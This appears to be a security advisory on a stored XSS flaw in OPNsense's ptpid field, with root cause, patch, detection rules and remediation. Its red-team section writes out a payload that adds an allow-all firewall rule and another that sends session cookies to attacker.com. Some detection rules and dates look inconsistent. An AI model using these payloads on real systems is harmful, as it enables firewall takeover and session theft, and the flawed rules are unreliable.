CVE-2025-34182

Executive Summary

CVE-2025-34182 is a stored cross-site scripting (XSS) vulnerability in Deciso OPNsense, an open-source firewall and routing platform. The flaw exists in the "Interfaces: Devices: Point-to-Point" functionality, where the ptpid parameter is not sanitized of HTML-related characters before being displayed on the /interfaces_assign.php page. An authenticated attacker with at least "Interfaces: PPPs: Edit" permissions can inject arbitrary JavaScript, leading to session hijacking, credential theft, or further compromise of the OPNsense management interface. The vulnerability was addressed in OPNsense version 25.7.4 by ensuring the legacy_html_escape_form_data() function escapes both keys and data elements.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core web application issue within the OPNsense PHP codebase. The fix was applied directly to the OPNsense source repository.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely via the web interface.
• Attack Complexity (AC): Low – No special conditions are required beyond network access.
• Privileges Required (PR): Low – Attacker must be authenticated with "Interfaces: PPPs: Edit" permissions.
• User Interaction (UI): Required – The victim must visit the /interfaces_assign.php page.
• Scope (S): Changed – The injected script can affect other resources within the OPNsense web application.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but once authenticated, the stored XSS can be used to target other administrators or users with higher privileges.

Deep Dive & Mechanics

The vulnerability resides in the OPNsense web GUI, specifically in the handling of Point-to-Point (PPP) interface creation. When an authenticated user creates a new PPP entry via the "Interfaces: Devices: Point-to-Point" page, the ptpid parameter is accepted without proper sanitization. This parameter is then stored in the system configuration and later displayed on the /interfaces_assign.php page without HTML encoding.

The root cause is that the legacy_html_escape_form_data() function, which is responsible for escaping output, was only escaping the values of data elements but not the keys. Since ptpid is used as a key in the form data structure, it bypassed the escaping mechanism. The fix ensures that both keys and data elements are escaped.

Attack Flow:

1. Attacker authenticates to OPNsense with "Interfaces: PPPs: Edit" permissions.
2. Attacker navigates to "Interfaces: Devices: Point-to-Point" and creates a new PPP entry.
3. In the ptpid field, the attacker injects a malicious payload such as <script>alert('XSS')</script>.
4. The payload is stored in the system configuration.
5. When an administrator (or any user) visits /interfaces_assign.php, the payload is rendered, executing the JavaScript in the victim's browser.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-25.7.4):

// In the function that processes PPP creation
$ptpid = $_POST['ptpid']; // No sanitization
// ... stored in config

Patched Code (25.7.4+):

// In legacy_html_escape_form_data() function
function legacy_html_escape_form_data($data) {
    $escaped = [];
    foreach ($data as $key => $value) {
        $escaped_key = htmlspecialchars($key, ENT_QUOTES, 'UTF-8'); // Now escaping keys
        $escaped_value = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
        $escaped[$escaped_key] = $escaped_value;
    }
    return $escaped;
}

The key change is the addition of htmlspecialchars() on the $key variable, which prevents HTML injection via parameter names.

Exploitation & Lab Setup

Red Team

Prerequisites:

• OPNsense instance (version < 25.7.4)
• Valid credentials with "Interfaces: PPPs: Edit" permissions

Exploitation Steps:

1. Log in to the OPNsense web interface.
2. Navigate to Interfaces > Devices > Point-to-Point.
3. Click "Add" to create a new PPP entry.
4. In the ptpid field, enter the following payload:

   <script>fetch('/api/core/firewall/rule/add', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({action:'pass',protocol:'tcp',destination:{network:'any'},source:{network:'any'}})});</script>
   

   This payload attempts to add a firewall rule allowing all traffic.
5. Fill in other required fields (e.g., remote IP) and save.
6. When an administrator visits Interfaces > Assignments, the script executes.

Alternative Payload (Session Hijacking):

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Blue Team

Detection Steps:

1. Monitor OPNsense logs for unusual ptpid values containing HTML tags or JavaScript.
2. Review the system configuration file (/conf/config.xml) for suspicious entries in the <ppps> section.
3. Check web server access logs for requests to /interfaces_assign.php with unusual referrers or user agents.

Hunting Query (Splunk):

index=opnsense sourcetype=syslog "ptpid" "<script"
| table _time, src_ip, user, ptpid

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from OPNsense to attacker-controlled domains (e.g., attacker.com/steal?cookie=...)
  • Unusual POST requests to /api/core/firewall/rule/add or other API endpoints

• Host IOCs:

  • Presence of <script> tags in /conf/config.xml under <ppps> entries
  • Modified firewall rules without corresponding audit trail

• File IOCs:

  • Suspicious entries in /var/log/nginx/access.log with ptpid containing HTML entities

Detection Engineering

YARA Rule

rule CVE_2025_34182_OPNsense_XSS {
    meta:
        description = "Detects stored XSS payload in OPNsense config files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34182"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $ptpid_key = /<ptpid>/
    condition:
        $ptpid_key and $xss_payload
}

Sigma Rule

title: OPNsense Stored XSS via ptpid Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-34182 by injecting XSS payloads into the ptpid parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        c-uri|contains: "/interfaces_assign.php"
        cs-method: "GET"
        cs-referrer|contains: "interfaces_ppps_edit.php"
    condition: selection
falsepositives:
    - Legitimate use of HTML in ptpid (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-34182 OPNsense Stored XSS Attempt"; flow:to_server,established; content:"ptpid"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OPNsense to version 25.7.4 or later.
2. If upgrade is not possible, restrict access to the OPNsense web interface to trusted IPs only.
3. Review and revoke "Interfaces: PPPs: Edit" permissions for non-essential users.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads in form parameters.
• Enable Content Security Policy (CSP) headers in the OPNsense web server configuration.
• Conduct regular security audits of OPNsense configurations.

Patch Verification: After upgrading, verify the fix by checking the version:

opnsense-version

Expected output: OPNsense 25.7.4 or later.

Valters IT